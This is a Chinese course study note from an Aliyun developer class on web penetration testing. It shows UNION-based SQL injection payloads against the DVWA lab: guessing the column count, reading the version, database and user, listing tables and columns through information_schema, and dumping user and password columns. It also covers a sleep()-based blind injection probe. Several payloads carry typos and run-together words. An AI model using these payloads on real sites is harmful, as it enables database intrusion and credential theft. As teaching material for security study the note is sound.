SQL 注入攻击_5 | 学习笔记

简介: 快速学习 SQL 注入攻击_5

开发者学堂课程【网络安全攻防 - Web渗透测试SQL 注入攻击_5】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9908


SQL 注入攻击_5


内容介绍

一、  基于 UNION 注入

二、  基于时间的盲注


一、  基于 UNION 注入

UNION 语句用于联合前面的 SELECT 查询语句,合并查询更多信息;

一般通过错误和布尔注入确认注入点之后,便开始通过 union 语句来获取有效信息。

错误注入:通过单引号来判断是否接受单引号

布尔注入:用或的方式,构造一个为真的条件

//猜测数据列数

‘union select 1 --'

‘union select 1,2 --'

‘union select 1,2,3 --'

‘union select 1,2,3,4--'

SQL 注入语句解析:

mysql> select first_name,last_name from dvwa.users where user_id=’’union select 1--‘’

前面查询是两个字段,后面查询如果是一个字段的话会报错

mysql> select first_nane,last_name from dvwa.users where user_id=" union select 1,2 --‘’

//获得当前数据库及用户信息

‘union select version(), database()--'

结果

‘union select user(), database()--’(同理)mysql>selectfirst_name,last_namefromdvwa.userswhereuser_id=''unionselectversion(),database()

image.png

mysql> selectfirst_name,last_name from dwa.users where user_id=''union select user(), database()

说明:

version()获得数据库版本信息

database()获得当前数据库名

user()获得当前用户名

//查询数据库中所有表

information_schema 数据库是 MySQL 自带的,它提供了访问数据库元数据的方式;

元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

SQL注入语句解析:

mysql> select* from information_schema.TABLES\G

//查询所有库名

‘union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables--'

image.png

mysql> select first_name,last_name from dvwa.users where user_id="union selectTABLESCHEMA, 1from INFORMATION_SCHEMA.tables --"

//查看所库中所有表名

‘union select table_name, 1 from INFORMATION_SCHEMA.tables--'

mysql> select first_name,last_name from dvwa.users where user union select tablename,1from INFORMATION_SCHENA.tables --‘’

查询结果image.png

//同时查询表名及对应库名

‘union select TABLE_SCHEMA, table_namefrom NFORMATION SCHEMA.tables--'(在表名前加入库名)

查询结果

image.pngmysql>selectfirst_name,last_namefrondvwa.userswhereuser_id="unionselectTABLE_SCHEMA,table_name from INFORMATION_SCHEMA tables--’

//原始语句

mysql> select first_name,last_name from dvwa.users where user_id='$id"

//查询数据表

union select 1, column_name from INFORMATION_SCHEMA.columns where table name='users’--’

image.png

‘union select1,column_namefromINFORMATION_SCHEMA.columnswheretable_name=’USER_PRIVILEGES’--'

‘union select 1, column_name from INFORMATION_SCHEMA.columns where

table name=’SCHEMA PRIVILEGES’--'

SQL 注入语句解析:(由上述语句转化而来)

mysql> select first name,last_nane from dvwa.users where user_id''unionselect1,column_name from INFORMATION_SCHEMA.columns where table_name=‘users’--‘’

mysql> select first_name,last_name from dwa.users where user_1d-''unionselect1,column_name from INFORMATION_SCHEMA.columns where table_name-'USER_PRIVILEGES’--‘’

mysql> select first_name,last_name from dvwa.users where user_id''unionselect1,columm_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES’--‘’

//查询数据列

‘union select MULL, user from users--'

‘union select NULL, password from users--'

‘union select user, password from users--'

union select NULL, GRANTEE from USER_PRIVILEGES--'

"union select password, concat(first_name, -,last_name, " ,user) from users--'

image.png

SQL 注入语句解析:

mysql> use dvwa;

mysql> select first_name,last name from dvwa,users where user_id=''union select password,

concat(first_name, ,last _name, juser)from users--‘’


二、基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置 sleep 语句来探测注入点

image.png

SQL 注入语句解析:

mysql> select first name,last_name from dvwa.users where user_id=‘1 and sleep(5)--

例如:给个真条件

则能够执行十秒钟

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
相关文章
|
3月前
|
算法 数据挖掘 数据库
通过 SQL 快速使用 OceanBase 向量检索学习笔记
通过 SQL 快速使用 OceanBase 向量检索学习笔记
|
3月前
|
SQL 数据库
SQL 学习笔记 - 多表关系与多表查询
数据库多表关系包括一对多、多对多和一对一,常用外键关联。多表查询方式有隐式/显式内连接、外连接、子查询等,支持别名和条件筛选。子查询分为标量、列、行、表子查询,常用于复杂查询场景。
|
SQL 安全 Java
除了Flask框架,还有哪些框架能防止SQL注入攻击?
这些框架都在安全方面有着较好的表现,通过它们的内置机制和安全特性,可以有效地降低 SQL 注入攻击的风险。然而,无论使用哪个框架,开发者都需要具备良好的安全意识,正确配置和使用框架提供的安全功能,以确保应用的安全可靠。同时,持续关注安全更新和漏洞修复也是非常重要的。
554 162
|
SQL 监控 安全
Flask 框架防止 SQL 注入攻击的方法
通过综合运用以上多种措施,Flask 框架可以有效地降低 SQL 注入攻击的风险,保障应用的安全稳定运行。同时,持续的安全评估和改进也是确保应用长期安全的重要环节。
515 71
|
SQL 监控 小程序
在微信小程序中使用 Vant 时如何防止 SQL 注入攻击?
在微信小程序中使用 Vant 时如何防止 SQL 注入攻击?
447 58
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
474 2
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
356 5
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
333 5
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
238 3
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
280 6